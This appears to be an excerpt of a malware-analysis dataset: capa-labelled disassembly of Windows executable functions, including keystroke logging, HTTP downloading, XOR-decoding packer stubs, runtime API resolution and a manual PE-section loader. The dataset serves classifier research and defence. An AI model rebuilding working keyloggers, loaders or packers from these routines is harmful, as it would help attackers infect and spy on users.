joyce8/EMBER2024-capa huggingface dataset:
Function at 0x465cc4
Capabilities:
Link many functions at runtime

Disassembly:
mov byte [0x4a80f8], 0
mov eax, dword [0x4aa470]
cmp dword [eax], 2
jne 0x465e9d
mov eax, dword [0x4a9e50]
cmp dword [eax], 5
jl 0x465e9d
call fcn.00462df4
test al, al
jne 0x465cf5
call fcn.00462e00
call fcn.00462dec
mov dword [0x4a8100], eax
push 0x465ea0
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80c4], eax
cmp dword [0x4a80c4], 0
jne 0x465d50
mov edx, 0x8000
mov eax, 0x465eb4
call fcn.0040f1d0
mov dword [0x4a80fc], eax
mov eax, dword [0x4a80fc]
mov dword [0x4a8100], eax
push 0x465ea0
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80c4], eax
cmp dword [0x4a80c4], 0
je 0x465e98
push 0x465ec0
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80c8], eax
cmp dword [0x4a80c8], 0
je 0x465e98
push 0x465ecc
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80cc], eax
cmp dword [0x4a80cc], 0
je 0x465e98
mov byte [0x4a80f8], 1
push 0x465edc
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80d0], eax
push 0x465ee8
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80d4], eax
push 0x465ef4
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80d8], eax
push 0x465f04
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80dc], eax
push 0x465f14
mov eax, dword [0x4a8100]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80e0], eax
mov edx, 0x8000
mov eax, 0x465f2c
call fcn.0040f1d0
mov dword [0x4a8104], eax
cmp dword [0x4a8104], 0
je 0x465e9d
push 0x465f3c
mov eax, dword [0x4a8104]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80e4], eax
push 0x465f58
mov eax, dword [0x4a8104]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80e8], eax
push 0x465f78
mov eax, dword [0x4a8104]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80ec], eax
push 0x465f94
mov eax, dword [0x4a8104]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80f0], eax
push 0x465fac
mov eax, dword [0x4a8104]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4a80f4], eax
ret
call fcn.00465c44
ret
Function at 0x488534
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x488794
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x488597
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.00487ffc
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040de90
cmp al, 1
jne 0x488597
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.00488314
test al, al
je 0x488723
cmp dword [ebp - 8], 0
jge 0x4885b5
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.00487ffc
mov eax, dword [ebp - 0x210]
call fcn.00404988
cmp ebx, eax
jge 0x4885ff
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.00487ffc
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x4aa458]
and eax, 0xff
bt dword [edx], eax
jae 0x4885ff
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x488613
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00488510
cmp ebx, dword [ebp - 8]
je 0x488715
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x48863f
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403aa0
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a99c8]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x488702
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403aa0
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a99c8]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00443e14
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403aa0
and eax, 0x7f
movzx eax, word [eax*2 + 0x4a99c8]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.00443e14
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x488709
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x488776
cmp dword [ebp - 8], 0
jge 0x48872e
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.00487ffc
mov eax, dword [ebp - 0x218]
call fcn.00404988
cmp eax, dword [ebp - 8]
jg 0x488768
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.00487ffc
mov eax, dword [ebp - 0x21c]
call fcn.00404988
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00488510
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48879b
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.004046ec
ret
Function at 0x493c80
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x41672c]
call fcn.004051c8
xor eax, eax
push ebp
push 0x493dc4
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4a9a00], 0
jne 0x493cd3
mov ecx, dword [0x4a9bd4]
mov dl, 1
mov eax, dword [0x407efc]
call fcn.0040d548
call fcn.00404038
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.004031a4
mov eax, ebx
call fcn.00404fcc
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x493dd4
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004064dc
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404fdc
test eax, eax
jle 0x493d6b
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x493d64
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404950
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404938
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408e64
test eax, eax
jne 0x493d64
mov ebx, 0x15
jmp 0x493d70
mov ebx, 0x10
jmp 0x493d70
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x4a9a00]
call fcn.00493af8
mov eax, dword [ebp - 8]
call fcn.00493af8
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004064f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x493dcb
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004046ec
lea eax, [ebp - 0x10]
mov edx, dword [0x41672c]
call fcn.00405298
ret
Function at 0x4a3984
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x4a398d
mov eax, dword [ebp - 4]
add esp, 0xffffffe0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x2018], ebx
mov dword [ebp - 0x201c], ebx
mov dword [ebp - 0x14], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4a3b9f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x417a14]
call fcn.00403868
mov ebx, eax
push 0
push 0
push 0
push 0
push 0x4a3bb0
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
push 0
push 0x84880000
push 0xb
push 0x4a3c24
mov eax, edi
call fcn.00404b88
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0xc], eax
mov eax, esi
call fcn.004046c8
lea eax, [ebp - 0x2014]
xor ecx, ecx
mov edx, 0x2000
call fcn.004031a4
jmp 0x4a3abc
cmp dword [ebp - 0x10], 0
je 0x4a3add
lea edx, [ebp - 0x2014]
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x2024], eax
mov dword [ebp - 0x2020], edx
fild qword [ebp - 0x2024]
add esp, 0xfffffff4
fstp xword [esp]
wait
lea edx, [ebp - 0x201c]
mov eax, 0x4a3c38
call fcn.0040b2b8
mov ecx, dword [ebp - 0x201c]
lea eax, [ebp - 0x2018]
mov edx, 0x4a3c48
call fcn.004049d4
mov eax, dword [ebp - 0x2018]
push eax
mov eax, dword [0x4abdf4]
mov eax, dword [eax + 0x300]
mov eax, dword [eax + 0x208]
mov edx, 4
call fcn.004862c0
pop edx
call fcn.0048621c
mov eax, dword [0x4aa17c]
mov eax, dword [eax]
call fcn.0045ce74
lea eax, [ebp - 0x10]
push eax
push 0x2000
lea eax, [ebp - 0x2014]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
test eax, eax
jne 0x4a3a29
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
cmp dword [ebp - 4], 0
jne 0x4a3b43
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov edx, eax
mov eax, esi
call fcn.00404d14
push 0
push 0
mov eax, ebx
call fcn.0041bb80
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
push eax
mov eax, esi
call fcn.00404be0
mov edx, eax
mov eax, ebx
pop ecx
mov edi, dword [eax]
call dword [edi + 0xc]
lea edx, [ebp - 0x14]
mov eax, dword [esi]
call fcn.004069bc
cmp dword [ebp - 0x14], 0
je 0x4a3b72
mov eax, esi
mov edx, dword [ebp - 0x14]
call fcn.0040471c
jmp 0x4a3b72
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, esi
call fcn.00409268
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
cmp edx, 0
jne 0x4a3b66
cmp eax, 0x3e7
jbe 0x4a3b72
jmp 0x4a3b68
jle 0x4a3b72
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0041c25c
mov eax, ebx
call fcn.00403898
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a3ba6
lea eax, [ebp - 0x201c]
mov edx, 2
call fcn.004046ec
lea eax, [ebp - 0x14]
call fcn.004046c8
ret
Function at 0x405a71
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x238
mov eax, 0x40d9fb
call fcn.0040c9ff
mov dword [ebp - 0x21c], ecx
movzx eax, word [ebp + 8]
xor edi, edi
mov esi, dword [0x415350]
inc edi
push 0xf0
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x405be2
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x405be2
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405be2
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x405be2
mov ecx, dword [esi + 4]
mov ebx, eax
movzx eax, word [esi + 2]
add esi, 8
mov dword [ebp - 0x220], ecx
mov ecx, 0x403
cmp cx, ax
jne 0x405b5b
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x21c]
and dword [ebp - 4], 0
push 0
push 0x143
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
lea eax, [ebp - 0x110]
cmove edi, ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], eax
je 0x405bd4
push dword [ebp - 0x114]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x405bd4
mov ecx, 0x1234
cmp cx, ax
jne 0x405bd4
or dword [ebp - 0x240], 0xffffffff
lea eax, [ebp - 0x214]
push 3
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x23c], eax
cmp eax, ecx
je 0x405bae
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea eax, [ebp - 0x244]
push eax
mov eax, dword [ebp - 0x21c]
push 0
push 0x40b
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
cmove edi, ecx
add esi, dword [ebp - 0x220]
test edi, edi
jne 0x405ac9
mov eax, edi
call fcn.0040c9ba
ret 4

Function at 0x40b919
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40b928
pop dword [ebp - 0x2c]
mov eax, 0xf25023b2
add eax, 0xdf09576
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3aadd
push 0
mov eax, 0xdfc9d60a
add eax, 0x20770abe
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x2c973b92
sub ecx, 0x2c96eb3e
mov esi, eax
mov edi, 0x419800
add edi, dword [ebp - 0x2c]
mov edx, 0x790f88b7
xor dword [ebp - 0x1c], 0xb3e5eda0
mov ebx, dword [edi]
xor dword [ebp - 4], ebx
xor ebx, edx
sub dword [ebp - 0x14], eax
mov dword [esi], ebx
xor dword [ebp - 8], 0x6fd71537
add esi, 0xc14dd99e
sub esi, 0xc14dd99a
add edi, 0x62cff191
sub edi, 0x62cff18d
loop 0x40b97b
add eax, 0xb6a9e163
add eax, 0x495752c0
xor ebx, ebx
add ebx, eax
add eax, 0x14e7d35b
add eax, 0xeb182caa
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4052fa
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1028
call fcn.0040c520
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x400
xor ebx, ebx
lea eax, [ebp - 0x814]
push ebx
push eax
mov dword [ebp - 0x1028], edx
mov esi, ecx
call fcn.00409320
push esi
lea eax, [ebp - 0x814]
push 0x1ff
push eax
call fcn.0040587a
mov edx, esi
mov ecx, edx
add esp, 0x18
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40534b
sub ecx, esi
push edi
sar ecx, 1
lea edi, [ebp - 0x812]
mov esi, 0x41c920
lea edi, [edi + ecx*2]
mov ecx, pe_nt_image_headers32
rep movsd dword es:[edi], dword [esi]
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x405373
sub edx, ecx
sar edx, 1
mov edi, 0x10000
lea eax, [edx*2 + 0x202]
push edi
mov dword [ebp - 0x1024], eax
call fcn.00406747
push edi
mov esi, eax
push ebx
push esi
call fcn.00409320
xor eax, eax
push 0x7fe
mov word [ebp - 0x1014], ax
lea eax, [ebp - 0x1012]
push ebx
push eax
mov dword [ebp - 0x1020], edi
call fcn.00409320
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
mov dword [ebp - 0x101c], ebx
mov dword [ebp - 0x1018], ebx
call fcn.00409320
add esp, 0x28
mov edi, 0x104
cmp dword [ebp + 0xc], ebx
je 0x405409
lea eax, [ebp - 0x20c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x405458
push edi
lea eax, [ebp - 0x414]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x414]
push 0x5c
push eax
call fcn.00406284
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.0040587a
push 0x418c6c
lea eax, [ebp - 0x20c]
push 0x103
push eax
call fcn.004058d6
add esp, 0x20
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x1028]
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebp - 0x101c]
push eax
call fcn.00404cd1
pop ecx
pop ecx
test eax, eax
je 0x40553d
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 0x1024]
lea eax, [ebp - 0x814]
push eax
mov edx, 0xbba
lea ecx, [ebp - 0x101c]
call fcn.00404de8
add esp, 0xc
test eax, eax
je 0x40553d
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1020]
push eax
push esi
lea edx, [ebp - 0x1018]
lea ecx, [ebp - 0x101c]
call fcn.00404fa5
add esp, 0xc
test eax, eax
je 0x40553d
mov eax, 0xbba
cmp word [ebp - 0x1018], ax
jne 0x40553d
cmp dword [ebp - 0x1020], ebx
je 0x40553d
cmp byte [esi], bl
jne 0x40553d
push 0x41c1a0
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.004058d6
push 0x418cec
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x1018]
push eax
mov dword [ebp - 0x1018], ebx
call fcn.00405acd
add esp, 0x18
cmp dword [ebp - 0x1018], ebx
je 0x40553a
lea edx, [ebp - 0x1018]
lea ecx, [ebp - 0x101c]
call fcn.00405564
xor ebx, ebx
inc ebx
pop edi
test esi, esi
je 0x405549
push esi
call fcn.004067d9
pop ecx
lea ecx, [ebp - 0x101c]
call fcn.00404dc8
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040565b
leave
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0xc0376dc
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x43e8108b
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x402680
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402f18
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a034], 0
je 0x402f79
cmp word [0x40a208], 0xd7b2
jne 0x402f41
cmp dword [0x40a210], 0
jbe 0x402f41
mov eax, 0x40a204
call dword [0x40a220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x409060
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x402fa0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409024], 0
jne 0x402f95
push 0
push 0x409058
push 0x409060
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403970
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.004034c5
jno 0x403a0a
xchg byte [ebp + ecx*4 - 0x837b], al
call dword [eax - 0x18]
sbb al, 0xfb
invalid
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
add al, 0x80
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.00403436
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x403a02
call fcn.004034c5
xchg ebp, eax
dec ebx
movsb byte es:[edi], byte [esi]
ror byte [ebx - 0x1fcc382], 1
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x403cb4
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x403a6a
cmp dword [eax + 0xc], ebx
je 0x403b0d
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.004034c5
fnstcw word [eax]
cmp dword [ebx + 0x750c5d39], 0x12
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x403cb4
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x403aad
mov dword [ebp + 0x10], edi
jmp 0x403ab2
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.004034c5
scasd eax, dword es:[edi]
insd dword es:[edi], dx
iretd
call fcn.004034c5
lcall 0xa087, 0x8b34b392
add byte [eax], al
add byte [ebx], bh
ret

Function at 0x403b24
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x403b79
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
invalid
dec ebp
Function at 0x403c00
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x403b9c
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x403bba
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x403c18
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x403bff
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x403c08
pop ebp
or byte [esp + eax - 0x80], dh
or al, 8
add bh, byte [ecx]
pop ebp
adc byte [ebp + eax + 3], dh
enter 0x980, 4
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x403c12
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x403bf4
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x403b7e
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x403c65
dec eax
je 0x403c5c
sub eax, 3
je 0x403c53
mov dword [ebp - 4], 0x40
jmp 0x403c82
mov dword [ebp - 4], 4
jmp 0x403c68
mov dword [ebp - 4], 0x20
jmp 0x403c68
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x403cb4
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x403c34
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004034c5
cmp al, 0xac
sbb al, byte [edx - 1]
jne 0x403cbf
push 1
push esi
call edi
mov eax, esi
jmp 0x403cc0
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret